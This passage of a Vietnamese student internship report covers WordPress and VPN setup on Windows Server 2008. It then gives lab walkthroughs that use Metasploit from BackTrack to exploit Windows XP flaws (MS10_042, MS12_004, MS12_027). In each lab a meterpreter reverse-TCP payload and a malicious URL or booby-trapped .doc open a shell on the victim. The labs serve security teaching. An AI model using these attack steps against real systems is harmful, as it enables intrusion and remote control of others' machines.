116Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 124: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Điên thông tin vưa thiêt lâp, click Log In.

Hình 2.3.2.3-25

Man hinh sau khi đăng nhâp thanh công.

Hình 2.3.2.3-26

117Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 125: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Ta vao Settings → General → điên đia chi chung ta muôn truy câp khi lươt web

vao 2 ô Wordpress address va Site Address. Nhấn Save Changes.

Hình 2.3.2.3-27

Trang chu cua Web chung ta khi vưa tạo xong.

Hình 2.3.2.3-28

Tuy vao sơ thich, tinh thăm my cua môi ngươi ta co thê Design cho minh môt trang

web đep măt.

118Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 126: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.2.4 Kết nối VPN

Viêc triên khai môt mạng riêng ao co nhiêu dich vu va chưc năng cân

phai lam viêc cung nhau môt cach trôi chay va dễ dang, vi vây nhưng ngươi dung

truy câp tư xa co thê đươc đinh danh va xac thưc; cac đươc hâm co thê đươc tạo lâp,

duy tri va quan ly cho hang trăm ngươi dung; viêc đinh tuyên co thê kiêm soat tất ca

luông lưu lương qua Gateway, va trong khi tất cac nhưng thư nay đang tiêp tuc, hiêu

suất va sư an toan cân đươc duy tri.

Cac thanh phâm phai đươc cai đăt đê tạo ra môt hê thông mạng riêng ao

hoạt đông đung đăn. Đê đưa ra quyêt đinh đung luc triên khai cac kêt nôi mạng

riêng ao truy câp tư xa, ta phai hiêu tất ca cac thanh phân liên quan. Trong chương

"Tông quan vê mạng riêng ao" chung ta đa thao luân vê kiêu kich ban mạng riêng

ao truy câp tư xa, trong đo nhiêu Client truy câp tơi môt công kêt nôi đơn vao cac

tai nguyên trong mạng Intranet. Trong phân nay ta sẽ mô ta cac thanh phân cua cac

kêt nôi mạng riêng ao truy câp tư xa va cac quan điêm thiêt kê găn vơi chung.

Mô hinh VPN Client to Site:

Hình 2.3.2.4-1 Mô hình VPN Client to site

Đăng nhâp vao may chu ao VPS vơi quyên quan tri.

119Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 127: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.2.4-2

Vao Start Programs Administrative Tools Routing and remote access đê

cấu hinh.

Hình 2.3.2.4-3

Giao diên Routing and remote Access

Hình 2.3.2.4-4

120Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 128: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Click chuôt phai vao server va chon Configure and Enable Routing and Remote

Access.

Hình 2.3.2.4-5

Cửa sô Routing and remote access server setup wizard hiên lên ta Click Next.

Hình 2.3.2.4-6

Ta chon Custom Configutation.

121Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 129: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.2.4-7

Đanh dấu vao 2 muc VPN access va muc Lan routing. Click Next.

Hình 2.3.2.4-8

Click Finish đê tiên hanh kich hoạt.

122Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 130: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.2.4-9

Click Yes đê băt đâu.

Hình 2.3.2.4-10

Routing and Remote Acces đa sẵn sang.

Hình 2.3.2.4-11

123Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 131: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Đê cấu hinh day đia chi IP khi cac may Client truy câp vao VPN sẽ đươc cấp ta

right click vao Server va chon Properties.

Hình 2.3.2.4-12

Chuyên sang tab IP va chon Static andress pool. Nhấn Add.

Hình 2.3.2.4-13

124Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 132: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhâp day đia chi băt đâu vao Start IP address va day đia chi kêt thuc vao End IP

address va Click OK đê chấp nhân.

Hình 2.3.2.4-14

Như vây chung ta đa hoan tất cấu hinh cho phep co thê truy câp VPN vao may chu.

Tiêp theo ta cân tao tai khoan đê co thê đăng nhâp vao may chu. Bằng cach Right

click vao My computer va chon Manage.

Hình 2.3.2.4-15

125Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 133: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Tiêp theo ta vao System tools Local Users and Groups Users. Right Click vao

User va chon New User…

Hình 2.3.2.4-16

Tạo 1 user va điên tên user vao muc User name va mât khâu vao ô Password va

nhâp lại mât khâu vao ô Confim password. Click Create đê tạo user.

Hình 2.3.2.4-17

126Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 134: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Tương tư ta tạo thêm môt user 2 co tên la Client 2

Hình 2.3.2.4-18

Đê User co quyên truy câp VPN ta right click vao tai khoan cân cấp quyên va chon

Properties.

Hình 2.3.2.4-19

Sang tab Dial-in va chọn Allow Access đê cấp quyên va click OK đê hoan tất.

Tương tư cho user co tên la Client2.

127Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 135: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.2.4-20

Chuân bi 2 may ao. Trên may ao thư 1 ta vao Start Settings Network

Connections.

Hình 2.3.2.4-21

128Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 136: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Click vao Create a new Connection.

Hình 2.3.2.4-22

Hôp thoại New Connection Wizard hiên lên va click Next

Hình 2.3.2.4-23

129Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 137: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chon muc Connect to the Network at my workplace va click Next

Hình 2.3.2.4-24

Click chon Virual Private Network connection va chon Next

Hình 2.3.2.4-25

130Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 138: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhâp tên công ty vao ô company name va click Next

Hình 2.3.2.4-26

Nhâp đia chi IP cua may chu hoăc tên domain đa đăng ky va click Next

Hình 2.3.2.4-27

131Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 139: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chon add a shortcut to this connection to my desktop đê thuân tiên cho lân kêt

nôi sau va click Finish đê hoan tất.

Hình 2.3.2.4-28

Man hinh đăng nhâp hiên lên ta nhâp tên User va Password cân kêt nôi va click

Connect.

Hình 2.3.2.4-29

132Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 140: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Sau khi kêt nôi thanh công thi bên goc phai man hinh sẽ co kêt nôi mạng thư 2

Hình 2.3.2.4-30

Double click vao biêu tương mạng kêt nôi chuyên sang tab Details đê xem chi tiêt.

Hình 2.3.2.4-31

133Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 141: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Cac bươc thưc hiên tương tư cho Client 2. Va kêt qua cho Client 2 như sau:

Hình 2.3.2.4-32

Trên Client1 tiên hanh ping đên đia chi Clien2.

Hình 2.3.2.4-33

134Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 142: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Va trên Client 2 ping đên đia chi Clien 1.

Hình 2.3.2.4-34

Trên Clien 1 tiên hanh share 1 folder cho Clien 2. Bằng cach tạo 1 folder right

click chon properties tab sharing chon Share this folder click OK.

Hình 2.3.2.4-35

135Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 143: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trên Client 2 vao Start run gõ //địa chỉ ip client 2 va click OK.

Hình 2.3.2.4-36

Đa thấy đươc thư muc ma Client 1 đa share.

Hình 2.3.2.4-37

Như vây chung ta đa hoan thanh viêc cai đăt va cấu hinh VPN client to site.

136Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 144: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.3 Bảo Mật Windows

2.3.3.1 Khai thác lỗ hong trên Windows XP với ma lỗi MS10_042

Chuân bi 2 may ao: may Backtrack 5 R3 (may tấn công) va Windows XP (nạn

nhân)

Hình 3.3.1-1

Hình 3.3.1-2

Trên may BackTrack cấu hinh đia chi IP trong bai lab nay cho may la:

192.168.255.128

137Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 145: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.1-3

Trên may BackTrack vao chương trinh terminal va gõ lênh msfconsole

Hình 3.3.1-4

Tim ma lôi bằng công cu metaploit bằng cach gõ lênh search ms10_042

Hình 3.3.1-5

138Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 146: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Sau khi search đươc ma lôi ta dung lênh use va copy ma lôi đa tim đươc.

Hình 3.3.1-6

Dung lênh show options đê biêt thêm cac câu lênh cân thiêt.

Hình 3.3.1-7

Dung lênh srvhost <địa chỉ ip máy backtrack>

Hình 3.3.1-8

Dung lênh Set payload windows/meterpreter/preverse_tcp

Hình 3.3.1-9

Dung lênh Set lhost<ip backtrack>

Hình 3.3.1-10

139Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 147: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Dung lênh exploit đê tiên hanh khai thac lôi. Chu y đương dân

http://192.168.255.128:80/ nêu may nạn nhân vao đương dân nay sẽ bi hack.

Hình 3.3.1-11

Trơ lại may Windows XP. Kiêm tra đia chi IP may XP. Vơi đia chi ip may XP la

192.168.255.129

Hình 3.3.1-12

Trên may XP ta vao trinh duyêt web va gõ đương dân http://192.168.255.128:80

140Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 148: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.1-13

Trên may XP tư đông xuất hiên hôp thoại Help and Support.

Hình 3.3.1-14

Trên may BackTrack băt đâu nhân thấy co sư kêt nôi đên đia chi

http://192.168.255.129:80/

141Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 149: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.1-15

Va nhân thấy co đia chi 192.168.255.129 kêt nôi vao. Va tạo phiên kêt nôi vao no.

Hình 3.3.1-16

Dung lênh sessions –i 1

Hinh 3.3.1-17

Dung lênh sysinfo đê xem thông tin may nạn nhân. Va như vây ta đa khai thac

thanh công lô hông MS10_042 trên may XP.

Hình 3.3.1-18

142Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 150: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.3.2 Khai thác lỗ hong bảo mật Win XP ma lỗi MS12_004

Chuân bi 2 may ao: may Backtrack 5 R3 (may tấn công) va Windows XP (nạn

nhân)

Hình 3.3.2-1

Hình 3.3.2-2

Trên may BackTrack cấu hinh đia chi IP trong bai lab nay cho may la:

192.168.255.128

Hình 3.3.2-3

143Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 151: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

144Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 152: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trên may BackTrack vao chương trinh terminal va gõ lênh msfconsole

Hình 3.3.2-4

Tim ma lôi bằng công cu metaploit bằng cach gõ lênh search ms12_004

Hình 3.3.2-5

Sau khi search đươc ma lôi ta dung lênh use va copy ma lôi đa tim đươc.

Hình 3.3.2-6

145Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 153: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Dung lênh show options đê biêt thêm cac câu lênh cân thiêt.

Hình 3.3.2-7

Dung lênh srvhost<địa chỉ ip máy backtrack>

Hình 3.3.2-8

Dung lênh Set payload windows/meterpreter/preverse_tcp

Hình 3.3.2-9

Dung lênh Set lhost<ip backtrack>

Hình 3.3.2-10

Dung lênh exploit đê tiên hanh khai thac lôi. Chu y đương dân

http://192.168.255.128:8080/BIhLISbueVnN nêu may nạn nhân vao đương dân nay

sẽ bi hack.

Hình 3.3.2-11

146Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 154: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

May Windows XP. Kiêm tra đia chi IP may XP. Vơi đia chi ip may XP la

192.168.1.129

Hình 3.3.2-12

Trên may XP ta vao trinh duyêt web va gõ đương dân

http://192.168.255.128:80/BIhLISbueVnN

Hình 3.3.2-13

Trên may XP tư đông xuất hiên hôp thoại yêu câu chạy Windows Media Player.

Nêu chon Run sẽ bi hack.

Hình 3.3.2-14

147Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 155: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.2-15

Trên may BackTrack băt đâu nhân thấy co sư kêt nôi đên đia chi 192.168.255.129

Hình 3.3.2-16

Va nhân thấy co đia chi 192.168.255.129 kêt nôi vao. Va tạo phiên kêt nôi vao no.

Hình 3.3.2-17

Dung lênh sessions –i 1

Hình 3.3.2-18

Dung lênh sysinfo đê xem thông tin may nạn nhân. Va như vây ta đa khai thac

thanh công lô hông MS12_004 trên may XP.

148Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 156: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.2-19

2.3.3.3 Khai thác lỗ hổng trên Win XP với ma lỗi MS12_027

Chuân bi 2 may ao: may Backtrack 5 R3 (may tấn công) va Windows XP (nạn

nhân)

Hình 3.3.3-1

Hình 3.3.3-2

Trên may BackTrack cấu hinh đia chi IP trong bai lab nay cho may la:

192.168.255.128

149Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 157: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.3-3

Trên may BackTrack vao chương trinh terminal va gõ lênh msfconsole

Hình 3.3.3-4

Tim ma lôi bằng công cu metaploit bằng cach gõ lênh search ms12_027

Hình 3.3.3-5

Sau khi search đươc ma lôi ta dung lênh use va copy ma lôi đa tim đươc.

Hình 3.3.3.6

150Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 158: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Dung lênh show options đê biêt thêm cac câu lênh cân thiêt.

Hình 3.3.3-7

Dung lênh Set filenametên file. (vd: baocao.doc)

Hình 3.3.3-8

Dung lênh Set Payload windows/meterpreter/preverse_tcp

Hình 3.3.3-9

Dung lênh Set lhost<ip backtrack>

Hình 3.3.3-10

Dung lênh exploit đê khai thac lôi.

Hình 3.3.3-11

Copy file đa tiêm ma đôc ra ngoai man hinh destop bằng lênh cpđường dẫn file

nguồnđường dẫn file đích

151Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 159: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.3-12

Dung lênh use/exploit/multi/handler

Hình 3.3.3-13

Copy file baocao.doc ơ Desktop vao thư muc var/www va upload file nay lên web.

Mơ thêm cửa sô root mơi gõ lênh /etc/init.d/apache2 start

Hình 3.3.3-14

Dung lênh Set Payload windows/meterpreter/reverse_tcp

Hình 3.3.3-15

Dung lênh Set lhost<ip backtrack>

Hình 3.3.3-16

Dung lênh exploit đê băt đâu lăng nghe.

Hình 3.3.3-17

Trên may XP ta vao trinh duyêt web đê download file ta đa up trên may BackTrack

bằng cach gõ: 192.168.255.128/baocao.doc

152Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 160: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.3-18

Xuất hiên hôp thoại va nhấn Save đê download

Hình 3.3.3-19

Khi may XP mơ file word co nhiễm ma đôc thi sẽ bi hack.

Hình 3.3.3-20

Bên may BackTrack đa nhân thấy 1 kêt nôi va tạo phiên kêt nôi vơi nạn nhân.

153Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 161: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 3.3.3-21

Dung lênh sysinfo đê kiêm tra. Như vây ta đa hoan thanh khai thac lôi MS12_027

trên win XP.

Hình 3.3.3-22

154Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 162: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

3.4 Các kết quả đạt đươc:

Sau khi tim hiêu va triên khai cac dich vu trên may ao VMWare va VPS em

đa co kiên thưc vê:

- Nguyên ly cơ ban cua hê điêu hanh mạng, kiên thưc vê hê thông, co ky

năng cân thiêt đê cai đăt, cấu hinh hoan chinh mạng doanh nghiêp cơ vưa va lơn

dưa vao Windows Server 2008.

- Hiêu vê cấu truc hạ tâng, thiêt kê va quan tri hê thông mạng, nhiêm vu

quan ly bao gôm điêu hanh va hô trơ hê thông.

- Triên khai, thiêt kê, quan ly va chuân đoan hong hoc cho môt hê thông

mạng.

- Co cac kiên thưc trên nên tang công nghê Windows Server 2008.

3.4.1 Kinh nghiêm thưc tế

- Co cai nhin thưc tê vê viêc cấu hinh, quan ly môt hê thông mạng cua môt

doanh nghiêp thông qua nên tang.

- Đươc trưc tiêp tiêp xuc nhưng công nghê va thiêt bi ma trươc đây chi biêt

đên thông qua sach vơ.

- Đươc vân dung nhưng kiên thưc tiêp thu trên lơp vao công viêc thưc tê.

- Bô sung va trau dôi nhưng thiêu sot vê kiên thưc trong qua trinh hoc trên

lơp.

- Trưc tiêp triên khai va cấu hinh trên may chu ao VPS.

- Co kinh nghiêm trong viêc khăc phuc sư cô khi hê thông găp lôi.

3.4.2 Hoàn thiên bản thân

- Cac thanh viên trong nhom đa đinh hương rõ rang muc tiêu săp tơi sẽ

lam.

- Tư tin hơn trong viêc giao tiêp vơi moi ngươi trong công viêc.

- Nâng cao kha năng lam viêc nhom cung như kha năng tư ban thân giai

quyêt vấn đê kho khăn găp phai trong công viêc.

155Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 163: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

3.4.3. Các kiến thức nhận đươc:

- Kiên thưc thưc tê vê hê thông mạng cua doanh nghiêp.

- Hiêu cac thanh phân công nghê mạng doanh nghiêp vưa va nho.

156Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 164: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chương 3: KÊT LUÂN

Nhin chung cac công viêc em đa cơ ban hoan thanh, tuy nhiên sẽ con nhiêu

thiêu sot, đa phân la qua trinh tư hoc. Vi thê mong Thây cô, cac bạn đanh gia va đưa

ra nhưng y kiên đong gop đê khăc phuc va sưa chưa. Bênh cạnh trinh đô chuyên

môn cung cân co nhưng ky năng mêm như ky năng giao tiêp, lam viêc nhom cung

hêt sưc quan trong. Thưc tâp la giai đoạn quan trong cua sinh viên, giup sinh viên

co cơ hôi lam viêc thưc tê nhằm cung cô ki năng, chuân bi cho giai đoạn lam viêc

thât sau khi tôt nghiêp. Trong qua trinh thưc tâp tại Trung tâm ATHENA, nhom

chung em đươc tiêp xuc vơi môt môi trương lam viêc chuyên nghiêp, cac công

nghê, thiêt bi, cac mô hinh thưc tê... Qua đo nhom hoc hoi đươc nhưng kinh nghiêm

nhất đinh va co nhưng suy nghi đong gop sau:

Vê công viêc: Đê thiêt kê va triên khai môt hê thông mạng cho môt công ty,

cân co nhiêu bô phân phôi hơp vơi nhau đê thưc hiên va hoan thanh dư an.

Vê phat triên ky năng: Đê cac bô phân co thê phôi hơp tôt môi nhân viên cân

co nhưng ky năng cơ ban đê lam viêc trong đôi, nhom:

- Lam viêc nhom: Ky năng lam viêc nhom la kha năng lam viêc hiêu qua

trong đôi ngu. Đo la viêc co thê sử dung đung ngươi đê co đươc kêt qua tôt

nhất va luôn sẵn sang đê co thê lanh đạo hoăc phôi hơp lam theo.

- Tim hiêu – thu thâp thông tin: Quan ly thông tin la kha năng biêt đươc nơi

đê co đươc thông tin cân thiêt - đê tim kiêm, đinh vi, va thu thâp no. Điêu

nay co thê liên quan đên viêc sử dung cac nguôn lưc khac nhau, cho du

chung la tư nhưng con ngươi hoăc tư cac tai liêu trong thê giơi rông lơn cua

công nghê.

- Ky năng giai quyêt vấn đê

- Tinh linh hoạt: Tinh linh hoạt la kha năng thich nghi đê giai quyêt công

viêc chung ta găp phai hang ngay trong công viêc lân đơi sông riêng. Giai quyêt vấn

đê la xac đinh vấn đê, nghiên cưu giai phap va đưa ra nhưng quyêt đinh hiêu qua.

Vê công nghê: vơi lơi thê la công ty hoạt đông trong linh vưc công nghê thông tin,

ATHENA co hạ tâng CNTT hiên đại, an toan va thông suôt.

157Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 165: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chương 4: TAI LIÊU THAM KHAO1. http://www. quantrimang .com.vn/

2. http://giaotrinhcntt.com

3. http://www.nhatnghe.com/

4. http:// sinhvienit .net/

5. http://www. vn - zoom .com/

6. http://www. youtube .com/

158Sinh viên: Trân Lê Vu – Võ Tấn Đạt